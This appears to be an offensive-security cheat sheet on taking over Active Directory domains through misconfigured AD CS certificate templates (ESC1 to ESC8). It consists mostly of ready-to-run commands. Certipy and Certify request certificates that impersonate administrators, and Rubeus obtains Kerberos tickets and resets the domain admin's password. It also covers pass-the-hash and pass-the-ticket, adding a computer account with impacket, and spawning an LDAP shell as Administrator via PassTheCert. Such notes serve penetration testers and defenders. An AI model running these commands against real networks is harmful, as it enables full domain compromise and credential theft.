# Windows PrivEsc with AD CS

We may be able to compromise Active Directory with vulnerable AD CS configurations or templates.

### Enumerate Certificate Templates <a href="#enumerate-certificate-templates" id="enumerate-certificate-templates"></a>

Certificate templates are the rule set for AD CS. It contains CA name, CA permissions, etc. Some attributes are related to vulnerabilities to privilege escalation.\
To enumerate them, we can use `Certify` or `Certipy`.

```
certipy find -u user@example.local -p password -dc-ip <target-ip> -stdout
certipy find -vulnerable -u user@example.local -p password -dc-ip <target-ip> -stdout

Certify.exe find /vulnerable
```

<br>

### ESC1 <a href="#esc1" id="esc1"></a>

#### Requirements to Attack <a href="#requirements-to-attack" id="requirements-to-attack"></a>

| Attribute                     | Value                                                                                                 | Description                                                                        |
| ----------------------------- | ----------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------- |
| msPKI-Certificate-Name-Flag   | CT\_FLAG\_ENROLLEE\_SUPPLIES\_SUBJECT (`0x00000001`)                                                  | If the flag is present, a requester can specify the SAN(Subject Alternative Name). |
| msPKI-enrollment-flag         | None                                                                                                  |                                                                                    |
| Authorized Signature Required | 0                                                                                                     | It's not required.                                                                 |
| pKIExtendedKeyUsage           | Client Authentication, PKINIT Client Authentication, Smart Card Login, Any Purpose, or no EKU (SubCA) |                                                                                    |
| Enrollment Permissions        | Low-level domain users such as Authenticated Users                                                    | Low-priivileged users can request a certificate with the template.                 |
| Manager approval              | Disabled                                                                                              |                                                                                    |

#### Exploit <a href="#exploit" id="exploit"></a>

Reference: [HackTricks](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation#abuse)

Request the certificate specifying the `altname` as a Domain Admin such as `localadmin` then impersonate an administrator.

```
Certify.exe request /ca:dc.example.local\VULN-CA /template:VulnTemplate /altname:localadmin
certipy req 'example.local/username:password@ca.example.local' -ca 'VULN-CA' -template 'VulnTemplate' -upn 'administrator@example.local'
```

Then transform `.pem` to `.pfx` using `openssl`.

```
# Copy the content of the PEM then paste it to the cert.pem using editor.
nano cert.pem

# Convert PEM to PFX
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```

After that we can request TGT using `Rubeus`.

```
Rubeus.exe asktgt /user:localadmin /certificate:cert.pfx /password:Password123! /ptt
# if you gave the password for "cert.pfx", you need to specify the password
Rubeus.exe asktgt /user:Administrator /password:password123 /certificate:cert.pfx /ptt
# or output the file
Rubeus.exe asktgt /user:Administrator /certificate:<Thumbprint> /outfile:ticket.kirbi

certipy auth -pfx administrator.pfx -username administrator -domain example.local -dc-ip <target-ip>
```

If you get the error like "Kerberos SessionError: KRB\_AP\_ERR\_SKEW(Clock skew too great)", sync the time with AD server.

```
sudo rdate -n <target-ip>
# or
sudo ntpdate <target-ip>
```

Now we get the NT hash so we can login the target machine using this hash by **Pass-The-Hash**.\
Or if we outputs as `.kirbi`, crack it by `john`.

* **Crack TGT**

Please see [Kerberos TGT Cracking](https://exploit-notes.hdks.org/exploit/cryptography/algorithm/kerberos-tgt-cracking/).

* **Pass-The-Ticket**

```
impacket-ticketConverter ticket.kirbi ticke.ccache
```

<br>

### ESC2 <a href="#esc2" id="esc2"></a>

#### Requirements to Attack <a href="#requirements-to-attack_1" id="requirements-to-attack_1"></a>

| Attribute                     | Value                                                | Description                                                                        |
| ----------------------------- | ---------------------------------------------------- | ---------------------------------------------------------------------------------- |
| msPKI-Certificate-Name-Flag   | CT\_FLAG\_ENROLLEE\_SUPPLIES\_SUBJECT (`0x00000001`) | If the flag is present, a requester can specify the SAN(Subject Alternative Name). |
| msPKI-enrollment-flag         | None                                                 |                                                                                    |
| Authorized Signature Required | 0                                                    | It's not required.                                                                 |
| pKIExtendedKeyUsage           | Any Purpose EKUs or no EKU (SubCA)                   |                                                                                    |
| Enrollment Permissions        | Low-level domain users such as Authenticated Users   | Low-priivileged users can request a certificate with the template.                 |
| Manager approval              | Disabled                                             |                                                                                    |

#### Exploit <a href="#exploit_1" id="exploit_1"></a>

The following LDAP query when run against the AD Forest’s configuration schema can be used to enumerate templates matching this scenario.

```
# 1.2.840.113556.1.4.804: LDAP_MATCHING_RULE_BIT_OR
# 2.5.29.37.0: Any Purpose EKU
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
```

<br>

### ESC3 <a href="#esc3" id="esc3"></a>

To abuse this for privilege escalation, a CAs requires at least two templates conditions.

#### Requirements to Attack (Condition 1) <a href="#requirements-to-attack-condition-1" id="requirements-to-attack-condition-1"></a>

| Attribute                     | Value                                              | Description                                                                                                                                                                   |
| ----------------------------- | -------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Authorized Signature Required | 0                                                  | It's not required.                                                                                                                                                            |
| pKIExtendedKeyUsage           | Certificate Request Agent EKU                      | The Certificate Request Agent OID (`1.3.6.1.4.1.311.20.2.1`), known as **Enrollment Agent**, allows for requesting other certificate templates on behalf of other principals. |
| Enrollment Permissions        | Low-level domain users such as Authenticated Users | Low-priivileged users can request a certificate with the template.                                                                                                            |
| Enrollment Agent Restrictions | Not implemented                                    |                                                                                                                                                                               |
| Manager approval              | Disabled                                           |                                                                                                                                                                               |

#### Requirements to Attack (Condition 2) <a href="#requirements-to-attack-condition-2" id="requirements-to-attack-condition-2"></a>

| Attribute                     | Value                                              | Description                                                        |
| ----------------------------- | -------------------------------------------------- | ------------------------------------------------------------------ |
| Authorized Signature Required | 1                                                  | It's required.                                                     |
| Schema Version                | `1` or is greater than `2`                         |                                                                    |
| Application Policies          | Certificate Request Agent EKU                      |                                                                    |
| pKIExtendedKeyUsage           | Certificate Request Agent EKU                      | Client Authentication                                              |
| Enrollment Permissions        | Low-level domain users such as Authenticated Users | Low-priivileged users can request a certificate with the template. |
| Enrollment Agent Restrictions | Not implemented                                    |                                                                    |
| Manager approval              | Disabled                                           |                                                                    |

#### Exploit <a href="#exploit_2" id="exploit_2"></a>

We can request an enrollment agent certificate (Condition 1).

```
Certify.exe request /ca:dc.example.local\VULN-CA /template:VulnTemplate
certipy req 'example.local/username:password@ca.example.local -ca 'VULN-CA' -template VulnTemplate
```

Then issue a certificate request on behalf of another to a template that allows for domain authentication (Condition 2).

```
Certify.exe request /ca:dc.example.local\VULN-CA /template:User /onbehalfof:example\itadmin /enrollcert:enrollmentAgentCert.pfx /enrollcertpw:asdf
certipy req 'example.local/username:password@ca.example.local' -ca 'VULN-CA' -template 'User' -on-behalf-of 'example\administrator' -pfx 'cert.pfx'
```

Ask TGT to authenticate as the "On Behalf Of" user.

```
Rubeus.exe asktgt /user:example\itadmin /certificate:itadminFromEnrollmentAgent.pfx /password:asdf
```

<br>

### ESC4 <a href="#esc4" id="esc4"></a>

#### Requirements to Attack <a href="#requirements-to-attack_2" id="requirements-to-attack_2"></a>

| Attribute                  | Value                                                                                       | Description |
| -------------------------- | ------------------------------------------------------------------------------------------- | ----------- |
| Access Control rights      | Users have `Full Control` or `Write` permission.                                            |             |
| Object Control Permissions | Users have `Owner`, `FullControl`, `WriteOwner`, `WriteDacl` or `WriteProperty` permission. |             |

### ESC6 <a href="#esc6" id="esc6"></a>

#### Requirements to Attack <a href="#requirements-to-attack_3" id="requirements-to-attack_3"></a>

| Attribute                            | Value   | Description                                                                                                                                                                |
| ------------------------------------ | ------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| EDITF\_ATTRIBUTESUBJECTALTNAME2 flag | Enabled | If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the SAN (subject alternative name.) |

#### Exploit <a href="#exploit_3" id="exploit_3"></a>

First off, check if the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag is set on the CA.

```
certutil –getreg policy\EditFlags

reg query \\<target-ip>\HKEY_LOCAL_MACHINE_SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<VULN-CA>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
```

If set, abuse it by using `/altname` flag with any template (e.g. `User`) that allows for domain auth.

```
Certify.exe request /ca:dc.example.local\VULN-CA /template:User /altname:localadmin

certutil -config "VULN-CA-HOST\VULN-CA" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
```

<br>

### ESC7 <a href="#esc7" id="esc7"></a>

#### Requirements to Attack <a href="#requirements-to-attack_4" id="requirements-to-attack_4"></a>

| Attribute      | Value                                                                                                                              | Description                                                                                                                                                                                                            |
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| CA Permissions | Low-privileged users have `ManageCA` (aka CA Administrator) permissions or `ManageCertificates` (aka Certificate Manager/Officer). | The `ManageCA` permission grants a principal the ability to perform "Administrative" CA actions, including the modification of persistent configuration data. This includes the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag. |

#### Exploit <a href="#exploit_4" id="exploit_4"></a>

At first we need to know the `CA Name` so run the following command then check the output.

```
certipy find -u username@example.local -p password -dc-ip <target-ip> -stdout

# Also it can be used.
Get-CertificationAuthority -ComputerName dc.example.local | Get-CertificationAuthorityAcl | select -expand Access
```

Then add new officer to the CA. Replace `victim-ca` with actual name found.

```
# -add-officer: Add a new officer to specific CA (specified with `-ca`)
# -ca: Specify the CA Name
certipy ca -u username@example.local -p password -dc-ip <target-ip> -ca 'victim-ca' -add-officer username
```

Next, enable the template on the CA.

```
certipy ca -u username@example.local -p password -dc-ip <target-ip> -ca 'victim-ca' -enable-template 'SubCA'

# Check if the template enabled successfully
certipy ca -u username@example.local -p password -dc-ip <target-ip> -ca 'victim-ca' -list-template
```

Request the certificate for the template such as `SubCA`.

```
# -upn: Alternative UPN
certipy req -u username@example.local -p password -dc-ip <target-ip> -ca 'victim-ca' -template 'SubCA' -upn administrator@example.local -target example.local
```

If failed, we can issue the request with the request ID.

```
certipy ca -u username@example.local -p password -dc-ip <target-ip> -ca 'victim-ca' -issue-request <request-id>
certipy req -u username@example.local -p password -dc-ip <target-ip> -ca 'victim-ca' -target example.local -retrieve <request-id>
```

Now we have `administrator.pfx`. Using this, we can retrieve the hash.

```
certipy ca auth -pfx administrator.pfx -dc-ip <target-ip> -domain example.local -username administrator
```

Crack the hash and get the administrator’s password or execute pass-the-hash attack.

<br>

### ESC8 <a href="#esc8" id="esc8"></a>

AD CS supports several HTTP-based enrollment methods via additional AD CS server roles that administrators can install. These HTTP-based certificate enrollement interfaces are all vulnerable NTLM relay attacks.

#### Exploit <a href="#exploit_5" id="exploit_5"></a>

Enumerate enabled HTTP AD CS endpoints with `Certify`.

```
Certify.exe cas
```

To parse and list the CES endpoints in their AD object in the `msPKI-Enrollment-Servers`, execute the following command.

```
certutil -enrollmentServerURL -config DC.EXAMPLE.LOCAL\VULN-CA

Import-Module PSPKI
Get-CertificationAuthority | Select Name,Enroll* | Format-List *
```

<br>

### Privilege Escalation with Microsoft Management Console (MMC) <a href="#privilege-escalation-with-microsoft-management-console-mmc" id="privilege-escalation-with-microsoft-management-console-mmc"></a>

If we find the template which contains vulnerable parameters, we can create a new certificate using the template and can gain access to the Administrator's account.\
There are some method to create the new one. However, this section provides the easiest way using MMC.

#### 1. Request a New “Malicious” Certificate with MMC <a href="#id-1-request-a-new-malicious-certificate-with-mmc" id="id-1-request-a-new-malicious-certificate-with-mmc"></a>

1. Right-click on the Windows icon, and select Run.
2. Enter **“mmc”** (Microsoft Management Console)\* in the form and click OK. The console window opens.
3. In the MMC window, click **File → Add/Remote Snap-in.**.
4. Add the **“Certificates”** snap-in in the window then click OK.
5. Expand the Certificates in the left pane.
6. Right-click on the Personal and select **All Tasks → Request New Certificate**.
7. The Certificate Enrollment window, click Next twice.
8. In Request Certificates section, click the **“More information is required to enroll…”**.
9. In Certificate Properties window, choose types and enter values in the form.

   Subject name:

   * Type: Common name
   * Value: **vulncert** (specify an arbitrary name)

   Alternative name:

   * Type: User principal name
   * Value: **<tester@abc.example.com>** (specify the impersonated name and the target domain)
10. Add each name and click OK.
11. Return to the Request Certificates section. Check on the certificate we want to request, then click Enroll.
12. After finishing, expand **Personal → Certificates**. We should see the new certificate is added.
13. Double-click on the certificate. The Certificate window opens.
14. In the Certificate window, select **Details** tab and choose **Subject Alternative Name**. We should see the principal name is our specified name e.g. <tester@abc.example.com>. If we can, click OK to close the window.
15. At the end, in the MMC window, right-click on the new certificate which we created and select **All Tasks → Export…** to export the certificate. The Certificate Export Wizard opens.
16. In Export Private Key section, select **“Yes, export the private key”** and click Next.
17. In Export File Format, it is usually okey the default .PFX format so click Next without any changes.
18. In Security section, check the Password and enter new password.
19. In File to Export section, enter the file name and Next.
20. Finally click Finish then we could export the new malicious certificate.

#### 2. Impersonate User using the Malicious Certificate <a href="#id-2-impersonate-user-using-the-malicious-certificate" id="id-2-impersonate-user-using-the-malicious-certificate"></a>

If we create a new certificate, we can use it to impersonate the privileged user.

1. **Request Kerberos TGT (Ticket Granting Ticket).**

   [**Rubeus.exe**](https://github.com/GhostPack/Rubeus) is useful to do for that. For details, see [Privilege Escalation with Kerberos](https://exploit-notes.hdks.org/exploit/windows/active-directory/kerberos/).

   ```
   Rubeus.exe asktgt /user:tester /enctype:aes256 /certificate:vulncert.pfx /password:password /outfile:tester.kirbi /domain:labc.example.com /dc:<ip_of_the_domain_controller>
   ```

   After that, we should get the TGT (.kirbi file).\
   We can gain access using the TGT by changing the password of the DA account.
2. **Change the Password of the DA (Domain Administrator) Account.**

   ```
   # changepw: Change the password of the target user
   # /ticket: Specify the TGT file (.kirbi) we've generated
   # /new: New password for impersonated user
   # /targetuser: Specify the Domain Administrator account name
   Rubeus.exe changepw /ticket:tester.kirbi /new:newpass /dc:<ip_of_the_domain_controller> /targetuser:abc.example.com\<da_user_name>
   ```
3. **Get the Administrator’s Shell**

   Using **runas** command, we can gain access to the Administrator’s account.\
   Use the new password which we’ve given the previous section in prompt.

   ```
   runas /user:abc.example.com\<da_user_name> cmd.exe
   ```

<br>

### Add Computer and PrivEsc <a href="#add-computer-and-privesc" id="add-computer-and-privesc"></a>

#### 1. Add Computer to the Domain <a href="#id-1-add-computer-to-the-domain" id="id-1-add-computer-to-the-domain"></a>

We can use the **addcomputer (**[**impacket**](https://github.com/SecureAuthCorp/impacket)**)** which is usually used for AD CS (Active Directory Certificate Services) Privilege Escalation.

```
impacket-addcomputer 'example.local/username:password' -method LDAPS -computer-name 'TEST$' -computer-pass 'password'
# or
impacket-addcomputer 'example.local/username:password' -dc-ip 10.0.0.1 -method LDAPS -computer-name 'TEST$' -computer-pass 'password'
# or
impacket-addcomputer 'example.local/username:password@example.com' -method LDAPS -computer-name 'TEST$' -computer-pass 'password'
```

#### 3. Request Certificates <a href="#id-3-request-certificates" id="id-3-request-certificates"></a>

After adding new computer, we might be able to retrieve certificate using this computer account.\
At this time, try using alternate UPN (**`-upn`**) for administrator because we want to escalate privilege.

```
certipy req -u 'TEST$' -p 'password' -ca VULN-CA -target example.local -dc-ip 10.0.0.1 -dns ca.example.local -template Example -upn Administrator@example.local
```

If successful, the file which contains certificates and private key (e.g. **`administrator.pfx`**) will be saved in current directory.

#### 4. Authenticate using PFX <a href="#id-4-authenticate-using-pfx" id="id-4-authenticate-using-pfx"></a>

We might be able to retrieve TGT using the **`.pfx`** file as below.

```
# From outside of target machine
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1
# From inside of target machine
Rubeus.exe asktgt /user:Administrator /certificate:administrator.pfx /ptt
```

Then using/cracking it to authenticate as Administrator.

#### Option: Authenticate over LDAP <a href="#option-authenticate-over-ldap" id="option-authenticate-over-ldap"></a>

Reference: <https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html>

According to the article above, we may be able to authenticate over some protocols such as LDAP(S). First off, split the **`administrator.pfx`** with **certificate** and **private key** using two commands below.

```
# Extract certificate by `-nokey` flag
certipy cert -pfx administrator.pfx -nokey -out cert.crt

# Extract private key by `-nocert` flag
certipy cert -pfx administrator.pfx -nocert -out cert.key
```

After that, using [PassTheCert](https://github.com/AlmondOffSec/PassTheCert), we can spawn shell as Administrator via **Schannel** against **LDAP(S)**.

```
python3 passthecert.py -dc-ip 10.0.0.1 -crt cert.crt -key cert.key -domain example.local -port 636 -action ldap-shell
```

### References <a href="#references" id="references"></a>

* [HackTricks](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation)
* [Microsoft Learn](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1)
* [SpecterOps](https://posts.specterops.io/certified-pre-owned-d95910965cd2)
* [SpecterOps](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
* [Crowe](https://www.crowe.com/cybersecurity-watch/exploiting-ad-cs-a-quick-look-at-esc1-esc8)

&#x20;Back to topMade with [Material for MkDocs](https://squidfunk.github.io/mkdocs-material/)
